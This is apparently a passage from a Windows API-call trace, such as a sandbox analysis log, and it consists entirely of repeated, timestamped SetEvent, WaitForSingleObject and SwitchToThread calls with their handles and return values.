	[0076.534] SetEvent (hEvent=0x6c) returned 1
	[0076.534] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.535] SetEvent (hEvent=0xb4) returned 1
	[0076.535] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.580] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.601] SetEvent (hEvent=0x6c) returned 1
	[0076.601] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.606] SetEvent (hEvent=0x6c) returned 1
	[0076.606] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.606] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.609] SetEvent (hEvent=0x6c) returned 1
	[0076.609] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.610] SetEvent (hEvent=0x8c) returned 1
	[0076.610] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.653] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.654] SetEvent (hEvent=0x8c) returned 1
	[0076.654] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0076.654] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] SetEvent (hEvent=0x80) returned 1
	[0077.746] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.746] SetEvent (hEvent=0x80) returned 1
	[0077.746] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.753] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.772] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.793] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.801] SetEvent (hEvent=0x6c) returned 1
	[0077.801] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.801] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.827] SetEvent (hEvent=0x6c) returned 1
	[0077.827] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.829] SetEvent (hEvent=0x6c) returned 1
	[0077.829] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.829] SetEvent (hEvent=0x6c) returned 1
	[0077.829] SwitchToThread () returned 1
	[0077.829] SetEvent (hEvent=0x6c) returned 1
	[0077.829] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.830] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.856] SetEvent (hEvent=0x6c) returned 1
	[0077.856] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.857] SetEvent (hEvent=0x80) returned 1
	[0077.857] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.880] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.883] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.914] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.921] SetEvent (hEvent=0x6c) returned 1
	[0077.921] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.921] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.946] SetEvent (hEvent=0x6c) returned 1
	[0077.946] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.948] SetEvent (hEvent=0x6c) returned 1
	[0077.948] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.948] SetEvent (hEvent=0x6c) returned 1
	[0077.948] SwitchToThread () returned 1
	[0077.949] SetEvent (hEvent=0x6c) returned 1
	[0077.949] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.949] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.997] SetEvent (hEvent=0x6c) returned 1
	[0077.997] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0077.999] SetEvent (hEvent=0x80) returned 1
	[0077.999] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.022] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.025] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.046] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.052] SetEvent (hEvent=0x6c) returned 1
	[0078.052] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.052] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.077] SetEvent (hEvent=0x6c) returned 1
	[0078.077] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.078] SetEvent (hEvent=0x6c) returned 1
	[0078.078] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.079] SetEvent (hEvent=0x6c) returned 1
	[0078.079] SwitchToThread () returned 1
	[0078.079] SetEvent (hEvent=0x6c) returned 1
	[0078.079] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.079] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.118] SetEvent (hEvent=0x6c) returned 1
	[0078.118] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.120] SetEvent (hEvent=0x80) returned 1
	[0078.120] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.143] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.146] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.176] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.182] SetEvent (hEvent=0x6c) returned 1
	[0078.183] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.183] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.208] SetEvent (hEvent=0x6c) returned 1
	[0078.208] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.210] SetEvent (hEvent=0x6c) returned 1
	[0078.210] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.211] SetEvent (hEvent=0x6c) returned 1
	[0078.211] SwitchToThread () returned 1
	[0078.211] SetEvent (hEvent=0x6c) returned 1
	[0078.211] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.211] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.241] SetEvent (hEvent=0x6c) returned 1
	[0078.241] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.243] SetEvent (hEvent=0x80) returned 1
	[0078.243] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.266] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.269] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.303] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.310] SetEvent (hEvent=0x6c) returned 1
	[0078.310] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.311] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.339] SetEvent (hEvent=0x6c) returned 1
	[0078.339] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.341] SetEvent (hEvent=0x6c) returned 1
	[0078.341] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.341] SetEvent (hEvent=0x6c) returned 1
	[0078.341] SwitchToThread () returned 1
	[0078.342] SetEvent (hEvent=0x6c) returned 1
	[0078.342] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.342] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.381] SetEvent (hEvent=0x6c) returned 1
	[0078.381] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.382] SetEvent (hEvent=0x80) returned 1
	[0078.382] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.413] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.416] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.439] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.459] SetEvent (hEvent=0x6c) returned 1
	[0078.459] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.459] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.486] SetEvent (hEvent=0x6c) returned 1
	[0078.486] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.488] SetEvent (hEvent=0x6c) returned 1
	[0078.488] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.488] SetEvent (hEvent=0x6c) returned 1
	[0078.488] SwitchToThread () returned 1
	[0078.489] SetEvent (hEvent=0x6c) returned 1
	[0078.489] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.489] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.574] SetEvent (hEvent=0x6c) returned 1
	[0078.574] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.576] SetEvent (hEvent=0x80) returned 1
	[0078.576] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.600] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.603] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.624] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.632] SetEvent (hEvent=0x6c) returned 1
	[0078.632] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.632] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.658] SetEvent (hEvent=0x6c) returned 1
	[0078.658] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.660] SetEvent (hEvent=0x6c) returned 1
	[0078.660] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.660] SetEvent (hEvent=0x6c) returned 1
	[0078.660] SwitchToThread () returned 1
	[0078.660] SetEvent (hEvent=0x6c) returned 1
	[0078.661] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.661] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.700] SetEvent (hEvent=0x6c) returned 1
	[0078.700] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.702] SetEvent (hEvent=0x80) returned 1
	[0078.702] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.726] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.729] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.750] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.755] SetEvent (hEvent=0x6c) returned 1
	[0078.755] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.756] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.781] SetEvent (hEvent=0x6c) returned 1
	[0078.781] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.782] SetEvent (hEvent=0x6c) returned 1
	[0078.782] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.783] SetEvent (hEvent=0x6c) returned 1
	[0078.783] SwitchToThread () returned 1
	[0078.783] SetEvent (hEvent=0x6c) returned 1
	[0078.783] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.783] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.813] SetEvent (hEvent=0x6c) returned 1
	[0078.813] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.814] SetEvent (hEvent=0x80) returned 1
	[0078.815] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.838] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.842] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.869] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.875] SetEvent (hEvent=0x6c) returned 1
	[0078.875] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.876] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.900] SetEvent (hEvent=0x6c) returned 1
	[0078.900] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.902] SetEvent (hEvent=0x6c) returned 1
	[0078.902] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.902] SetEvent (hEvent=0x6c) returned 1
	[0078.903] SwitchToThread () returned 1
	[0078.903] SetEvent (hEvent=0x6c) returned 1
	[0078.903] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.903] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.936] SetEvent (hEvent=0x6c) returned 1
	[0078.936] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.937] SetEvent (hEvent=0x80) returned 1
	[0078.938] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.962] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.964] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.990] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.999] SetEvent (hEvent=0x6c) returned 1
	[0078.999] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0078.999] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.025] SetEvent (hEvent=0x6c) returned 1
	[0079.025] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.027] SetEvent (hEvent=0x6c) returned 1
	[0079.027] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.027] SetEvent (hEvent=0x6c) returned 1
	[0079.027] SwitchToThread () returned 1
	[0079.027] SetEvent (hEvent=0x6c) returned 1
	[0079.027] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.028] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.063] SetEvent (hEvent=0x6c) returned 1
	[0079.063] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.065] SetEvent (hEvent=0x80) returned 1
	[0079.065] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.090] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.093] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.165] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.178] SetEvent (hEvent=0x6c) returned 1
	[0079.178] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.179] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.204] SetEvent (hEvent=0x6c) returned 1
	[0079.204] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.206] SetEvent (hEvent=0x6c) returned 1
	[0079.206] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.206] SetEvent (hEvent=0x6c) returned 1
	[0079.206] SwitchToThread () returned 1
	[0079.206] SetEvent (hEvent=0x6c) returned 1
	[0079.206] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.207] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.238] SetEvent (hEvent=0x6c) returned 1
	[0079.238] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.239] SetEvent (hEvent=0x80) returned 1
	[0079.240] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.263] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.265] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.288] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.348] SetEvent (hEvent=0x6c) returned 1
	[0079.348] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.350] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.378] SetEvent (hEvent=0x6c) returned 1
	[0079.378] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.380] SetEvent (hEvent=0x6c) returned 1
	[0079.380] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.380] SetEvent (hEvent=0x6c) returned 1
	[0079.380] SwitchToThread () returned 1
	[0079.380] SetEvent (hEvent=0x6c) returned 1
	[0079.380] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.381] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.411] SetEvent (hEvent=0x6c) returned 1
	[0079.411] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.412] SetEvent (hEvent=0x80) returned 1
	[0079.412] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.436] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.439] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.462] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.470] SetEvent (hEvent=0x6c) returned 1
	[0079.470] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.470] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.498] SetEvent (hEvent=0x6c) returned 1
	[0079.498] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.500] SetEvent (hEvent=0x6c) returned 1
	[0079.500] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.501] SetEvent (hEvent=0x6c) returned 1
	[0079.501] SwitchToThread () returned 1
	[0079.501] SetEvent (hEvent=0x6c) returned 1
	[0079.501] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.501] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.530] SetEvent (hEvent=0x6c) returned 1
	[0079.530] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.532] SetEvent (hEvent=0x80) returned 1
	[0079.532] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.556] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.559] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.580] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.588] SetEvent (hEvent=0x6c) returned 1
	[0079.588] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.588] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.614] SetEvent (hEvent=0x6c) returned 1
	[0079.614] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.616] SetEvent (hEvent=0x6c) returned 1
	[0079.616] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.617] SetEvent (hEvent=0x6c) returned 1
	[0079.617] SwitchToThread () returned 1
	[0079.617] SetEvent (hEvent=0x6c) returned 1
	[0079.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.617] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.648] SetEvent (hEvent=0x6c) returned 1
	[0079.648] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.650] SetEvent (hEvent=0x80) returned 1
	[0079.650] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.673] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.676] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.686] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.706] SetEvent (hEvent=0x6c) returned 1
	[0079.706] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.706] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.732] SetEvent (hEvent=0x6c) returned 1
	[0079.732] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.734] SetEvent (hEvent=0x6c) returned 1
	[0079.734] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.734] SetEvent (hEvent=0x6c) returned 1
	[0079.734] SwitchToThread () returned 1
	[0079.735] SetEvent (hEvent=0x6c) returned 1
	[0079.735] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.735] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.763] SetEvent (hEvent=0x6c) returned 1
	[0079.763] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.765] SetEvent (hEvent=0x80) returned 1
	[0079.765] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.788] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.791] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.796] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.826] SetEvent (hEvent=0x6c) returned 1
	[0079.826] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.827] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.853] SetEvent (hEvent=0x6c) returned 1
	[0079.853] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.855] SetEvent (hEvent=0x6c) returned 1
	[0079.855] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.856] SetEvent (hEvent=0x6c) returned 1
	[0079.856] SwitchToThread () returned 1
	[0079.856] SetEvent (hEvent=0x6c) returned 1
	[0079.856] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.856] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.887] SetEvent (hEvent=0x6c) returned 1
	[0079.887] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.889] SetEvent (hEvent=0x80) returned 1
	[0079.889] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.912] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.916] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.939] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.947] SetEvent (hEvent=0x6c) returned 1
	[0079.947] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.947] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.972] SetEvent (hEvent=0x6c) returned 1
	[0079.972] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.974] SetEvent (hEvent=0x6c) returned 1
	[0079.974] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.975] SetEvent (hEvent=0x6c) returned 1
	[0079.975] SwitchToThread () returned 1
	[0079.975] SetEvent (hEvent=0x6c) returned 1
	[0079.975] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0079.975] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.012] SetEvent (hEvent=0xb4) returned 1
	[0080.012] SetEvent (hEvent=0x80) returned 1
	[0080.012] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.013] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.020] SetEvent (hEvent=0x6c) returned 1
	[0080.020] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.037] SetEvent (hEvent=0x6c) returned 1
	[0080.037] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.039] SetEvent (hEvent=0x6c) returned 1
	[0080.039] SwitchToThread () returned 1
	[0080.039] SetEvent (hEvent=0x6c) returned 1
	[0080.039] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.039] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.069] SetEvent (hEvent=0x6c) returned 1
	[0080.069] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.071] SetEvent (hEvent=0xb4) returned 1
	[0080.071] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.099] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.102] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.121] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.145] SetEvent (hEvent=0x6c) returned 1
	[0080.145] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.146] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.171] SetEvent (hEvent=0x6c) returned 1
	[0080.171] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.173] SetEvent (hEvent=0x6c) returned 1
	[0080.173] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.173] SetEvent (hEvent=0x6c) returned 1
	[0080.173] SwitchToThread () returned 1
	[0080.173] SetEvent (hEvent=0x6c) returned 1
	[0080.173] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.174] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.202] SetEvent (hEvent=0x6c) returned 1
	[0080.202] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.204] SetEvent (hEvent=0xb4) returned 1
	[0080.204] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0080.228] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
